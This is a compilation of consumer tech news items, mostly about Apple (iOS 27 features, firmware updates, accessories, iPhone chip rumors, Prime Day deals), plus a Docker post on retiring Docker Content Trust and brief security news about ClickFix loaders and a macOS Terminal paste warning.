Bill Splitting (U.S. only) - If you take a photo of a restaurant bill, you can split out what you ate and then send money via Apple Cash. Or calculate what everyone owes and request money.
Import Multiple Events - You can import multiple events into the Calendar or Reminders app at one time from a schedule or list.
Import Contacts - You can import contacts from a photo of a business card.
Wallet Passes - You can turn a photo of a barcode from a membership or pass into a Wallet pass.


‌Visual Intelligence‌ is much more powerful than before because of ‌Siri‌'s ability to search the web for answers. It can read laundry labels and give you clear instructions, look up items and find reviews on the web, identify odd devices or cables and tell you what they're for, scale recipes, read ingredient lists for you to check for allergens, transcribe messy written notes or lists into text, decipher confusing parking signs, offer plant care advice, solve math problems on a worksheet, and whatever else you can think to ask AI to do.

Other Visual Intelligence Capabilities

‌Visual Intelligence‌ has a long list of things it can be used for, and these options have been available in earlier versions of iOS.

Identify plants, animals, insects, landmarks, art, sculptures, books, and more.
Add items to your calendar from a piece of paper like an event poster or flyer.
Use Google Image Search to find similar images.
Search Etsy, Amazon, Anthropologie, and other apps for an item that you capture with the camera.
Provide details about a business in front of you, like hours of operation.
Translate, summarize, and read text aloud.


Siri App Integration

All of your ‌Visual Intelligence‌ ‌Siri‌ requests are saved in the ‌Siri‌ app so you can revisit them later. The ‌Siri‌ app can be set to retain conversations for a month, a year, or forever.

Visual Intelligence on Other Platforms

Apple expanded ‌Visual Intelligence‌ to iPadOS 27, macOS Golden Gate, and visionOS 27. On Mac, you can use a Command-Shift-Space keyboard shortcut to access ‌Visual Intelligence‌ and select a part of your display to ask a question about. On ‌iPad‌, you can access ‌Visual Intelligence‌ by taking a screenshot or swiping up from the lower left corner with Apple Pencil.

On Vision Pro, you can use ‌Visual Intelligence‌ just by looking at something, including physical items around you.

Device Requirements

‌Visual Intelligence‌ in ‌iOS 27‌ requires an iPhone 15 Pro or later. For Mac, you need an Apple silicon chip, and on the ‌iPad‌, you need an Apple silicon chip or the A17 Pro iPad mini. Related Roundups: iOS 27, iPadOS 27Tag: Visual Intelligence
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Beats Studio Buds Firmware Update Patches Bluetooth Vulnerability

Apple today released a new firmware update for the Beats Studio Buds. The firmware, 1B211, addresses a Bluetooth vulnerability.


Apple's security support document for the update says it fixes a bug that could allow an attacker in Bluetooth range to listen through the microphone of the device.

The vulnerability would only be affected if someone was in Bluetooth range and the Studio Buds were not yet paired and seeking pair requests.

The bug was in open source code, and Apple Software was among the affected projects.

Updating the firmware of the Beats Studio Buds can be done by pairing them with an iPhone, iPad, or Mac, putting them on a charger, and keeping them in Bluetooth range of the paired device.Tag: Beats
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Apple Just Added New Accessories, Including Thinnest-Ever PopSockets

Apple has teamed up with accessory makers to offer chargers, stands, power banks, cables, and more in bright color options like blue, pink, and teal. The splash of color arrives in time for summer in the U.S. and many other countries.


The new color options are available exclusively from Apple, both online and for in-store pickup.

Notably, one of the accessories added to Apple's online store today is the PopSockets Low-Pro, which is the thinnest version of the popular accessory ever. Priced at $39.95 in the U.S., the MagSafe-compatible accessory continues to function as both an iPhone grip and a stand, except this version has a thickness of just 2.5mm.

PopSockets Low-Pro
Other participating brands include Belkin, Herschel, Mophie, Nimble, Scosche, and Twelve South.

Here are some examples:Mophie Knit Puck for AirTag
Twelve South PowerClip Power Bank & Charger
Herschel AirTag Charm
Nimble SharePower Portable Battery Charger
Scosche StrikeLine USB-C to USB-C Cable (1 m)
Herschel Cloudform Burrard Organizer Tech
Belkin UltraCharge Pro 20K Power Bank with Integrated Cable
Twelve South AirFly Pro 2 Bluetooth Transmitter
Herschel Cloud Sling for iPhoneApple also began selling some other accessories through its online store that are not part of this seasonal color refresh, including Logitech's MX Master 4 mouse, Nimble's Podium 3-in-1 wireless charger, Twelve South's PowerBug charger (with Qi 2.2 support), and more, with all of the latest additions listed on Apple's New Product Arrivals page. Tag: Apple Store
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Apple Watch Activity Challenge for International Day of Yoga Coming June 21

Apple is celebrating International Day of Yoga with an Activity Challenge that takes place on Sunday, June 21. To earn the in-app award, Apple Watch owners must record a yoga workout of 10 minutes or more.


Any yoga workout will fulfill the requirement, as long as you select the yoga workout type from the Workout app on the Apple Watch or use an app that adds yoga workouts to the Health app.

Apple Watch owners who complete the challenge will be rewarded with an award in the Fitness app and a set of animated yoga stickers that can be used in the Messages app.








Apple holds Activity Challenges for various holidays and events throughout the year. Apple previously celebrated Global Running Day on June 3, and will likely have another challenge to celebrate National Parks in August.Related Roundup: Apple Watch 11Tag: Activity ChallengeBuyer's Guide: Apple Watch (Caution)
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Docker Content Trust: Retirement and Migration Guidance

TLDR: Docker Content Trust (DCT) and the Notary v1 service at notary.docker.io are being fully retired (first announced in July of 2025). This blog explains what is changing, who is affected, and how to move to modern alternatives. 
Ten years ago, Docker Content Trust (DCT) gave the container ecosystem one of its first ways to verify the integrity and publisher of an image, built on The Update Framework and the Notary v1 project. The upstream Notary v1 codebase is no longer maintained, more modern signing tools have become the standard, and today a very small number (fewer than 0.05%) of Docker Hub pulls rely on DCT.
Last year we began retiring DCT for Docker Official Images, and now we’re completing that work by fully retiring DCT and the Notary v1 service at notary.docker.io. This post covers what’s changing, who’s affected (for most people, nothing), and the modern alternatives that are available to users.
Why are we retiring Docker Content Trust (DCT)?
DCT relies on the upstream Notary v1 server, the original TUF-based implementation that was first released in 2015, and the project is no longer maintained. In the years since, the ecosystem has standardized on OCI-native signing tools such as Sigstore/Cosign and the Notary Project’s Notation, that store signatures alongside the image in any compliant registry, with no separate trust infrastructure to run. The broader ecosystem has been retiring this approach–Microsoft deprecated DCT support in Azure Container Registry some time ago, and Harbor deprecated Notary v1 support too.
Retiring Notary v1 lets us put our investment behind other modern, standards-based tools (described below) that developers are already adopting, and behind making secure defaults first-class citizens on Docker Hub.
Who is affected by this change?
DCT was opt-in, and normal image pulls (docker pull) would not touch the Notary service, so if you’ve never deliberately turned it on, nothing about your workflow changes. You can stop reading here.
The change matters if you configured DCT for use, which usually shows up in one of a few ways:
You have DOCKER_CONTENT_TRUST=1 set in your environment, shell profile, CI pipeline, or Dockerfile. Your scripts or automation use docker trust sign, docker trust inspect, or docker trust revoke. Your Kubernetes admission controllers or deployment policies check for DCT signatures. You publish images to Docker Hub with DCT signing enabled. If you have never set DOCKER_CONTENT_TRUST and do not use docker trust commands, this change does not affect you. 
Pathway to retirement: timeline
We’re winding DCT down in stages rather than all at once. The brownouts are brief, scheduled outages, these are dry runs that flush out any pipeline still leaning on the service while there’s time to fix it. Writes go dark before reads, so signing breaks before verification and publishers can get the earliest heads-up.
Date
What happens
Jul 14, 2026
4-hour write brownout
Jul 15, 2026
4-hour write brownout 
Aug 10, 2026
4-hour read brownout 
Aug 12, 2026
4-hour read brownout 
Dec 8, 2026
Full shutdown
Windows run ~4 hours and begin at 8AM Pacific Time.
Note this only touches DCT trust operations; ordinary docker pull and docker push operations will keep working through these windows.
What to do if you are affected: migration guide and alternatives
If any of the cases above describe your setup, here’s how to move off DCT cleanly. The ecosystem has settled on a handful of strong, widely-adopted tools, so this is as much a menu as a manual. The steps run from the quickest unblock to the most complete setup; pick the leading technology that fits your workflow, and go as far down the list as your situation calls for.
Ensuring image pulls succeed
If your only goal is to ensure that image pulls keep working past the shutdown date, disable DCT. This is the fastest path to unblocking your workflows, but it removes tag-level verification. 
# Remove from your current shell session unset DOCKER_CONTENT_TRUST # Or explicitly disable it export DOCKER_CONTENT_TRUST=0 Search your environment for anywhere this variable might be set, including shell profiles, CI/CD configuration, Compose files, and K8s manifests. Once DCT is disabled, all pulls continue to work normally.
Ensuring pulls are repeatable
Tags on image registries can change when an image is updated. Pulling by digest guarantees that you get the exact image content you expect, regardless of whether a tag has been moved or overwritten. Digests are immutable.
# Find the digest of an image you have pulled docker pull busybox:latest docker images --digests busybox # REPOSITORY TAG DIGEST IMAGE ID # busybox latest sha256:f85340bf... abc123def456 # Pull by digest docker pull busybox@sha256:f85340bf... Use digests in dockerfiles for reproducible builds, and in Kubernetes manifests or Compose files to ensure predictable deployments. 
Digest pinning verifies content integrity (you get exactly what you asked for), but it does not by itself prove publisher identity. For that, you need cryptographic signatures, which is where Sigstore/Cosign and Notation come in.
Proving publisher identity
Two mature, actively maintained signing projects have replaced DCT’s signing capabilities in Hub. Both store signatures alongside the image in OCI-compliant registries.
Option A: Sigstore / Cosign
Cosign is part of the Sigstore project and supports identity-based signing using short-lived certificates tied to an OIDC identity. It stores signatures as OCI artifacts in the same registry, alongside the image. 
Sigstore quickstart: https://docs.sigstore.dev/quickstart/quickstart-cosign/  Cosign on GitHub: https://github.com/sigstore/cosign  Option B: Notation
Notation is the CLI for the Notary Project. It uses a certificate-based PKI model and stores signatures as OCI reference artifacts. 
Notation quickstart: https://notaryproject.dev/docs/quickstart/  Notation on GitHub: https://github.com/notaryproject/notation Enforcing verification in production
Signing images is only half the story. To get full security benefits, you need to enforce that only signed images can be deployed.
Kyverno (works with Cosign)
Kyverno can verify Cosign signatures before pulling into a cluster. See the documentation for details. 
Ratify + Gatekeeper (works with Notation)
Ratify can verify Notation signatures before admitting pods. See the Ratify quickstart for setup instructions.
Use Docker Hardened Images as a built-in replacement
If you currently rely on DCT to verify base images from Docker Hub, switching to Docker Hardened Images (DHI) is a free and secure path forward. Every DHI comes with cryptographic signatures, provenance attestations, and SBOMs already built in.
This means the integrity checks you relied on with DCT are guaranteed, and then some. DHI images are minimal by design and continuously rebuilt when new CVEs appear. You are not just replacing a verification mechanism, you are getting a more secure base image to begin with.
Read more here: https://docs.docker.com/dhi/  Or view the free catalog at dhi.io Need help?
A couple of things worth knowing as you plan your move.
If you are a Docker Hub publisher currently signing images with DCT, Docker cannot provide replacement signatures on your behalf. You will need to adopt Cosign or Notation to sign your own images.
If you are a consumer of third-party images that were signed with DCT, contact those publishers directly to determine whether they plan to adopt modern signing.
For questions or issues related to the shutdown, or if you want to work more directly with us on a migration plan, contact Docker support.
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Apple Releases New Firmware for AirPods Pro 2, AirPods Pro 3 and Beats Studio Buds

Apple today released new firmware for the AirPods Pro 3 and AirPods Pro 2. The firmware has a version number of 8B41, up from 8B40 for the ‌AirPods Pro 3‌ and 8B40 for the AirPods Pro 2.


There is no word on what's included in the new firmware, but Apple has a support document with limited notes. Most updates are limited to bug fixes and performance improvements.

To get the updated firmware, make sure your AirPods Pro are in range of your iPhone, iPad, or Mac and are connected via Bluetooth.

From there, connect your Apple device to Wi-Fi, put your AirPods in the Charging Case, and connect the Charging Case to power. Keep the case closed and wait at least 30 minutes for the firmware update to install. After that, check the version number and repeat the process if the update hasn't been installed.

Apple also released new 1B211 firmware for the Beats Studio Buds, up from 1B204.Related Roundup: AirPods Pro 3Tag: AirPods Pro 3Buyer's Guide: AirPods Pro (Neutral)Related Forum: AirPods
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Snap Launches $2,195 'Specs' Augmented Reality Glasses

Snap today unveiled Specs, a pair of augmented reality glasses that it describes as a wearable computer built into a pair of see-through glasses.


Specs are made from Swiss TR90 polymer that Snap suggests is "plastic titanium" because of its light weight and durability. The glasses are light enough to be "worn for hours" and two sizes are available. The 47mm frame weighs 132 grams (4.7 ounces), while the 52mm frame weighs 136 grams (4.8 ounces). Prescription lenses can be easily inserted and swapped out for sharing glasses with friends and family.

The AR glasses include cameras and sensors that feed data to AI with contextual understanding. There are two full-color high-resolution cameras, two infrared computer vision cameras, and 6-axis IMUs for inertial sensing. There are two Snapdragon chips inside, with one processor running the lenses, and the other handling computer vision.


Specs have a 51-degree field of view and a stereo waveguide display with automatic tinting for different lighting conditions. The device uses liquid crystal on silicon (LCoS) miniature projectors to project images to the display. Snap compares the field-of-view to a 115-inch screen viewed from 10 feet.


Stereo speakers are included for spatial audio, and there's a microphone array for audio input. The glasses have hand tracking capabilities for gesture control, along with voice recognition and support for natural voice commands.

Specs last for up to four hours with mixed use, and there is a custom magnetic charging cable that can charge the glasses while they're being worn. They come with a charging case that supports 20 hours of use. Prior-generation Spectacles from Snap that were limited to developers only offered 45 minutes of battery.


Specs can be used for watching content like movies, videos, and TV shows, casting to a screen, writing on a whiteboard, and using the myriad existing Snapchat lenses. Specs can also connect to a computer, phone, or gaming system over USB-C to be used as a display.

Snap CEO Evan Spiegel introduced the Specs at AWE USA 2026 and showed some of the experiences developers have created with Snap's Lens Studio. Since Specs can use lenses developed for Snapchat, there are already options for placing virtual items, playing mini games, getting DIY help, and more.


Lens Studio is getting agentic development for lenses, and there are developer integrations for Claude Code, Codex, and Cursor. Lenses are able to rely on APIs from OpenAI and Gemini for AI augmented reality experiences.

Specs are priced at $2,195 with a refundable $200 deposit, and they can be pre-ordered today. They're set to launch later this fall in the U.S., UK, and France.

Snap is beating multiple other tech companies to market with AR glasses, including Apple. Apple is developing augmented reality smart glasses with lenses, but the product won't launch for several more years. Apple's first glasses, which will be limited to AI capabilities and no built-in display, won't launch until late 2027.Tags: Snap, Snapchat
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ClickFix Campaigns Expand Malware Delivery With New Loaders and Fake Update Lures

Cybersecurity researchers have flagged multiple ClickFix campaigns that deliver three malware loaders called BabaDeda Loader, Lorem Ipsum Loader, and Potemkin, per independent reports from Morphisec, BlueVoyant, and Huntress, respectively. Attacks involving BabaDeda Loader, observed in April 2026, have targeted education and financial organizations. "Earlier BabaDeda activity was known forView the full article
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Schlage Launching Sense Pro Door Lock With Hands-Free Unlocking via iPhone or Apple Watch

Schlage today announced that the Sense Pro smart deadbolt it unveiled at CES 2025 will finally be available for purchase in the U.S. and Canada beginning June 29, with U.S. pricing set at $399 and Canadian pricing set at $549. The smart deadbolt will be available at Amazon, The Home Depot, Lowe's, and select other retailers.


Sense Pro utilizes Ultra Wideband technology to allow for hands-free unlocking with a compatible iPhone or Apple Watch model. After adding a digital key to the Apple Wallet app, you can simply approach your door with your iPhone in your pocket or your Apple Watch on your wrist and the door will automatically unlock.

Schlage said the hands-free feature works by calculating speed, trajectory, and motion to unlock the door precisely as you reach your door.

The deadbolt has no keyhole, but it does have a keypad for keyless entry with an access code.

Sense Pro has built-in Wi-Fi, allowing it to be managed remotely through the Schlage Home app. You can lock and unlock the deadbolt from anywhere, manage up to 250 unique access codes, set timed auto-lock and daily locking schedules, and customize lock settings. The deadbolt can also be managed in Apple's Home app.

Hands-free unlocking is available with the Apple Watch Series 6 and later (excluding the Apple Watch SE) running watchOS 11.5 or later, and the iPhone 11 and later (excluding the iPhone SE 2, iPhone SE 3, iPhone 16e, and iPhone 17e) running iOS 18.5 or later.

Thread support allows the Sense Pro to pair with a Thread-enabled Apple Home hub, including the Apple TV 4K (2nd generation), Apple TV 4K (3rd generation), HomePod (2nd generation), and HomePod mini.

The lock is equipped with disposable batteries that offer up to six months of battery life. A built-in USB-C port can provide temporary power.

Samsung Wallet and Google Wallet support will arrive later this year, according to Schlage.Related Roundup: Apple Watch 11Tags: Apple Wallet, SchlageBuyer's Guide: Apple Watch (Caution)
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Apple Seeds Second Public Betas of iOS 26.6, macOS Tahoe 26.6 and More

Apple today provided public beta testers with the second betas of iOS 26.6, iPadOS 26.6, macOS Tahoe 26.6, watchOS 26.6, and tvOS 26.6, with the software coming a day after Apple seeded the betas to developers and three weeks after the first public betas.


After signing up to beta test the software updates on Apple's beta site, public beta testers can download the new software using the Software Update section in the Settings app on each device.

iOS 26.6 has a feature that will let you know when you have blocked too many contacts, but the limit is in the thousands so most users may not ever see the messaging. There are also signs of a new iPhone anti-snatching feature that locks a stolen iPhone when it's grabbed from your hand.

No other major new features have been found in any of the software updates, with Apple likely focusing on bug fixes and security improvements. We're nearing the end of the "26" software cycle, with Apple planning to release iOS 27, iPadOS 27, macOS Golden Gate, and more this fall.
Related Roundups: iOS 26, iPadOS 26, macOS TahoeRelated Forums: iOS 26, macOS Tahoe
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Apple's 2028 iPhones to Use 1.4nm A22 Pro Chips

Apple will transition from 2-nanometer chips to 1.4-nanometer chips with the high-end 2028 iPhone models, reports Bloomberg. Chip supplier Taiwan Semiconductor Manufacturing Co. (TSMC) will make the majority of Apple's A22 Pro chips, but Apple is also considering having Intel make some of them.


The current iPhone 17 models use a third-generation N3P 3-nanometer process. The iPhone 18 Pro, ‌iPhone 18 Pro‌ Max, and foldable iPhone expected in September 2026 will be the first to have chips built on a next-generation 2nm process. 2027 chips will also use the 2nm process, and then Apple will upgrade some chips to 1.4nm in 2028.

TSMC has been working on 1.4nm chips for several years, and its A14 node will bring up to 15 percent better performance than chips built on its N2 2nm node. Alternatively, the chips will offer the same performance but with 30 percent power savings.

Every step down in node size comes with higher production costs and limited capacity due to the difficulty of manufacturing the most advanced chips. Powerful and efficient chips from TSMC are in high demand from AI server manufacturers like NVIDIA, leading to a more limited supply for consumer devices. During Apple's last earnings call, CEO Tim Cook said ‌iPhone 17‌ models had been constrained during the quarter because Apple couldn't get enough A19 and A19 Pro chips from TSMC.

Apple has been aiming to diversify its chip supply chain, and it is rumored to be working with Intel. While Apple previously used Intel-designed chips in Macs, with the new agreement, Intel would make Arm-based chips using Apple chip designs.

Current rumors suggest Intel will make lower-end chips for devices like the iPad and Mac, but Intel CEO Lip-Bu Tan is aiming to revitalize Intel's chip manufacturing business by focusing on more advanced process nodes. Intel is developing its 14A node for 1.4nm chips, and it is expected to reach production in 2028. Prior rumors indicate Intel could make non-Pro iPhone chips in 2028.Related Roundups: iPhone 18, iPhone 18 ProRelated Forum: iPhone
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Apple's 20th Anniversary iPhones to Come in Two Sizes, Will Launch Alongside Gen 2 Foldable iPhone

Apple is "ramping up" work on the 20th anniversary iPhone that it plans to launch next year, reports Bloomberg. Multiple rumors have suggested the device will have an edge-to-edge display with curved glass at all sides for a nearly borderless visual effect.


There will be two anniversary models similar in size to the iPhone 18 Pro and ‌iPhone 18 Pro‌ Max that are launching this September. The ‌iPhone 18 Pro‌ and ‌iPhone 18 Pro‌ Max are expected to be the same size as current iPhone 17 Pro models, which suggests the anniversary iPhone could be available in 6.3 and 6.9 inch sizes.

Apple plans to release the 20th anniversary iPhones alongside a second-generation foldable iPhone. All three devices are going to adopt a 2-nanometer A21 chip. Apple has an iPhone 19 in the works too, and it is set to run a different A21 chip, likely a base chip instead of a Pro chip.

The ‌iPhone 18 Pro‌ and ‌iPhone 18 Pro‌ Max coming this year will have an A20 Pro processor built on Apple's 2-nanometer process. The A20 will mark the first node upgrade in several years and will see Apple transitioning from 3-nanometer chips for its flagship iPhones.

The standard iPhone 18 is not coming this fall, with Apple instead planning to debut it in spring 2027. It will use a less powerful A20 chip that's also built on the 2nm process.Tags: 20th-Anniversary iPhone, Foldable iPhone
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Apple's Camera-Equipped AirPods Coming in Late 2027 Alongside 20th Anniversary iPhone

Apple is working on camera-equipped AirPods that are expected to launch in late 2027 alongside the 20th anniversary iPhone and a next-generation foldable iPhone, reports Bloomberg.


The AirPods will be Apple's first wearable AI product. The cameras in the AirPods are not designed for taking photos and videos, and will instead send information about the wearer's surroundings to Siri. ‌Siri‌ will be able to answer questions about objects and whatever the wearer is looking at. Contextual reminders are a possibility, as are improved turn-by-turn directions when walking.

Apple already has a similar feature available through Visual Intelligence, which allows ‌Siri‌ to give details on photos that the user captures. In iOS 27, ‌Visual Intelligence‌ is accessible through the Camera app with a new ‌Siri‌ Mode.

The AirPods will look similar to the current AirPods Pro 3, but there will be cameras embedded in the stem. An included light will inform people around the wearer when the cameras are feeding data to ‌Siri‌.

Multiple rumors, including from Bloomberg, have previously suggested the AirPods with cameras could come in 2026. Apple apparently wanted to release the AirPods in 2026, but Apple's ongoing struggles with AI and a need to develop visual models capable of identifying objects around the user caused the AirPods to be delayed.

Bloomberg says all three devices are being tested with iOS 28, but timing "remains fluid and could change." Apple also has smart glasses in the works that could come as "early as the tail end of next year," which would presumably see the AirPods and the glasses launch at around the same time.Related Roundups: AirPods 4, AirPods Pro 3Buyer's Guide: AirPods (Caution), AirPods Pro (Neutral)Related Forum: AirPods
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iOS 27 Revamps App Icons With Sharper Liquid Glass Layers

Apple has redesigned its first-party app icons for the second year running, with iOS 27 addressing blurriness complaints about iOS 26 by integrating additional layers of Liquid Glass directly into the icon artwork itself.


When Apple introduced Liquid Glass with ‌iOS 26‌ last year, it redesigned its entire lineup of first-party app icons to give them a layered glass look with subtle depth. The approach drew criticism from some users who found the results blurry, and in some cases, a heavy specular sheen sat over the icon artwork, obscuring detail and giving icons a washed-out appearance.

The shimmering motion effect that animated icons dynamically as the device was tilted also caused a widely reported optical illusion, with asymmetric highlights in icon corners tricking the eye into reading icons as slanted. With ‌iOS 27‌, Apple is taking the icon design further rather than rolling it back.

The core change to how icons are constructed is the addition of multiple distinct Liquid Glass layers built into each icon's artwork, rather than the thick glass look applied uniformly over the top in ‌iOS 26‌. Apple says the new rendering pipeline adds more visual separation between layers, resulting in sharper edges and more defined refractions.



In practice, artwork is now considerably more visible and detailed with higher contrast and greater definition, with the glass look functioning as a refined finish rather than a dominant overlay. The refraction effects between layers are also selectively applied.

The motion-based shimmer has also been significantly reworked. The gyroscopic specular highlight effect introduced with ‌iOS 26‌ appears to have been removed entirely in the first ‌iOS 27‌ developer beta. Icons still feature highlights around their edges, now positioned at the top and bottom, but they no longer shift with device movement or produce the tilting illusion, and are much subtler overall.

Icon Composer, Apple's dedicated app icon design tool, has been updated to support building icons from multiple layers of Liquid Glass. New annotation features let developers add refraction effects or fine-tune content effects, while an interactive preview shows how a designed icon will render.

The updated icons are part of broader Liquid Glass refinements Apple announced at WWDC 2026, which also include a new system-wide transparency slider and improved material diffusion for better readability. For a full breakdown of all the Liquid Glass changes in ‌iOS 27‌, see our dedicated article.Related Roundups: iOS 27, iPadOS 27, macOS Golden GateTag: Liquid Glass
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Walt Disney World to Offer iOS 27's Upgraded Apple Wallet Key Feature

Starting with iOS 27, the Apple Wallet app will offer enhanced digital keys at participating hotels and resorts. Apple said you can view more details about your trips, receive updates about booked activities, access services available during your stay, and more.


Apple did not share a list of hotels and resorts that will be offering these upgraded keys, but TechRadar reported that Walt Disney World Resort plans to add support for the improved feature by the time iOS 27 is released in September.

You can already add your Disney World tickets to Apple Wallet through the My Disney Experience app, and then simply tap your iPhone or Apple Watch on the scanners located at the entrances to parks and Lightning Lane queues for rides. On iOS 27, though, the report said this MagicMobile experience will get better in several ways.

According to the report, tapping on your MagicMobile pass in the Wallet app will allow you to view more information, including your park reservations for the current day and future days, your Lightning Lane ride selections, special ticketed events (such as After Hours), dining reservations, and more. The enhanced passes are dynamic, meaning that the information shown is updated automatically throughout the day.

You will still need to use the My Disney Experience app to actually make your Lightning Lane selections, dining reservations, and so forth.

These enhancements will make Apple Wallet more useful for Disney World visits — especially if someone else in your group is managing your day.

Resorts World Las Vegas also plans to offer enhanced Apple Wallet keys on iOS 27, per the report. The property has three hotels operated by Hilton.Related Roundups: iOS 27, iPadOS 27Tags: Apple Wallet, Disney
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Prime Day 2026: Best Early Deals on Monitors, Chargers, and Accessories

Amazon Prime Day is just one week away, and early deals are already available on charging accessories, monitors, and more. Prime Day 2026 is set to officially kick off on June 23, and this year it will run for four days and end on June 26.

Note: MacRumors is an affiliate partner with some of these vendors. When you click a link and make a purchase, we may receive a small payment, which helps us keep the site running.

Highlights of early Prime Day sales include a handful of monitor deals, like the 32-inch Samsung OLED M90SF Smart Monitor for $1,199.99, down from $1,599.99, which is a match of the best-ever price on this model. Below you'll also find great deals on monitors from Dell and LG.

$400 OFF32-inch Samsung Smart Monitor M9 for $1,199.99

These new deals join ongoing highlights of early Prime Day deals, including Anker's Prime 3-in-1 Wireless Charging Station, available for $109.99 on Amazon this week, down from $149.99. This is one of Anker's newest accessories, and Amazon's sale today is a solid second-best price on the device.

We're also tracking big discounts from brands like Sony, Samsung, Sonos, and more in the lists below. Accessories on sale include USB-C wall chargers, MagSafe-compatible wireless chargers, portable batteries, headphones, and soundbars.

Lastly, and perhaps most importantly, Amazon Prime Day requires you to have an Amazon Prime membership to take advantage of many of the discounts. Amazon Prime costs $14.99 per month or $139.00 per year, and it comes with a 30-day free trial for new subscribers.

Special for 2026, Amazon is also offering 50% off Prime for Young Adults right now. Prime for Young Adults is a discounted Prime membership for anyone age 18-24 that offers all of the Prime benefits at $69.00 per year, half of the price of regular Prime.

Monitors

32-inch Samsung Odyssey G5 Monitor - $189.99, down from $329.99
27-inch Samsung Odyssey G5 Monitor - $218.99, down from $249.99
27-inch Dell Plus 4K Monitor - $279.99, down from $299.99
27-inch LG Ultragear Gaming Monitor - $319.99, down from $499.99
27-inch Samsung Odyssey OLED G5 Gaming Monitor - $419.49, down from $499.99
32-inch Samsung Smart Monitor M9 - $1,199.99, down from $1,599.99
UGREEN

2-Bay Desktop NASync - $199.99, down from $219.99
2-Bay Desktop NAS - $389.99, down from $439.99
4-Bay Desktop NAS - $619.99, down from $729.99
4-Bay Desktop NAS Pro - $702.88, down from $799.99
Docks

iVANKY 23-in-1 Thunderbolt 5 FusionDock Max 2 - $399.99, down from $499.99
Wall Chargers

Anker Nano USB-C Wall Charger - $29.99, down from $39.99
UGREEN 100W GaN 4-Port Charger - $33.23, down from $54.99
Anker 140W 4-Port GaN USB-C Charger - $79.99, down from $99.99
Anker 3-Port Prime Charger - $115.99, down from $149.99
Wireless Chargers

Anker 3-in-1 MagSafe-Compatible UFO Charger - $69.99, down from $89.99
Anker 3-in-1 MagSafe-Compatible Foldable Charging Station - $79.99, down from $109.99
Anker 3-in-1 MagSafe-Compatible Charging Cube - $86.99, down from $129.99
Anker 3-in-1 Prime Wireless Charging Station - $109.99, down from $149.99
Anker Prime MagSafe-Compatible 3-in-1 Charging Station - $159.99, down from $229.99
Portable Chargers


Anker Prime Power Bank 20,100 mAh - $149.99, down from $179.99
Anker SOLIX C300 Power Station with Lantern - $179.99, down from $249.00
Anker Prime Power Bank 26,250 mAh - $279.99, down from $329.99
Anker SOLIX C1000 Gen 2 Portable Power Station - $499.99, down from $799.00
Jackery Explorer 1000 v2 Portable Power Station - $429.00, down from $799.00
Anker SOLIX C2000 Gen 2 Portable Power Station - $799.00, down from $1,499.00
Audio

Sonos Beam Gen 2 - $369.00, down from $499.00
Sony WH-1000XM6 Noise Canceling Wireless Headphones - $398.00, down from $459.00
Sonos Arc Ultra Soundbar - $899.00, down from $1,099.00

If you're on the hunt for more discounts, be sure to visit our Apple Deals roundup where we recap the best Apple-related bargains of the past week.



Deals Newsletter

Interested in hearing more about the best deals you can find in 2026? Sign up for our Deals Newsletter and we'll keep you updated so you don't miss the biggest deals of the season!




Related Roundup: Apple Deals
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Siri AI Might Tell You to Take Breaks, Remind You It's Not a Real Person

Code strings discovered in iOS 27 suggest that Apple may be planning to show users a break reminder after especially long Siri AI conversations.


Strings of code in the first developer beta of ‌iOS 27‌ refer to a "Take a Break Message" that would remind users they have been in a conversation for an extended period and that ‌Siri‌ is not a real person. Based on the shared code, the reminder appears to read: "You've been in this conversation for [n] hours - consider taking a break. ‌Siri‌ is not a person, but will be here when you're ready to continue."

Where screen time tools typically focus on usage duration, Apple appears to be specifically addressing the risk of parasocial attachment to AI, building in a prompt that explicitly reframes ‌Siri‌ as a tool rather than a companion. The concern is part of a broader conversation across the AI industry about unhealthy usage patterns. Both OpenAI and Google have moved to add guardrails to their chatbot products, and Anthropic has been spotted nudging Claude users toward healthier habits after long sessions.

Apple touched on several privacy and responsibility considerations for ‌Siri‌ AI during last week's WWDC keynote, but did not address the question of extended conversations. The existence of these code strings suggests the company is thinking about the issue behind the scenes.

It is not yet clear how Apple would trigger the reminder. The code does not appear to specify a fixed time threshold, suggesting the company may use conversation length in combination with other signals to determine when to display the message.Tags: Siri, Siri AI
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New 'Apple One' Perk Extends to Chase's Sapphire Reserve Credit Card

Yesterday, we reported that Chase's Sapphire Preferred credit card ($95 annual fee) now offers a complimentary one-year Apple TV streaming subscription, or a $7.50/month discount on an active Apple One subscription instead.


It turns out that the Apple One discount now extends to Chase's premium Sapphire Reserve credit card too ($795 annual fee). The Sapphire Reserve has offered free subscriptions to both Apple TV and Apple Music since last year, but now cardholders can receive a combined $15/month discount on an Apple One subscription instead.

For example, a Reddit user showed that their Apple One Premier plan has been discounted to $21.95 per month, down from the regular price of $37.95 per month. This is actually a $16/month discount, which is slightly higher than advertised.

You can manage your Apple perks on Chase.com or in the Chase Mobile app. Make sure to read the fine print on Chase's Sapphire Reserve page.Tags: Apple One, Chase
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Apple Details Terminal Anti-Scam Warning in macOS

Back in March with the release of macOS Tahoe 26.4, Apple introduced a new security popup that warns Mac users when they paste a command into the Terminal app that could be harmful. Apple has now published a support document explaining why the popup warning appears.

Screenshot via "Mr. Macintosh"
The warning says the following when it appears:
There is a "Paste Anyway" option for users to proceed if they wish.

In a document titled "If your Mac blocks a Terminal command paste or script," spotted by 9to5Mac, Apple explains that the alert appears if you don't regularly use Terminal and you copied the command from somewhere like a website, chat agent, or messaging or email app.

"Scammers use these channels to instruct people to paste malicious commands into Terminal to harm your Mac or compromise your privacy," says Apple. "This alert helps make sure that you aren't tricked into running a command that you didn't expect."

The document also mentions two other types of Terminal-related alerts that are more proactive. If a "Malware Detected, Paste Blocked" or "Malicious Script Blocked" alert appears, macOS has detected a command or script that contains known malware and has blocked it, according to Apple. In such cases, no "Paste Anyway" option is provided.

Apple says that if you believe the command or script was mistakenly blocked, it could be because a website that it tries to access was incorrectly reported as deceptive. In that case, users can report the error.
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Siri Uses Pill Shape to Hide the Dynamic Island in iOS 27, But iPhone 18 Could Make It a Circle

In iOS 27, Siri now appears as a glowing pill-shaped orb that expands directly from the Dynamic Island, but may give way to a circle on next-generation iPhones.


Instead of the glowing light effect that previously traced the edges of the display, a swirling ‌Siri‌ orb expands from the ‌Dynamic Island‌ in ‌iOS 27‌, with the design hiding its true cutouts, just like other ‌Dynamic Island‌ animations.

Apple now represents ‌Siri‌ in most places with a circular orb, such as in the new dedicated Siri app icon, throughout promotional artwork for ‌iOS 27‌, and initially on the iPad, Mac, and Vision Pro. At the very least, the pill-shape of ‌Siri‌ AI on the iPhone appears to be necessitated because the current ‌Dynamic Island‌ hardware demands it.

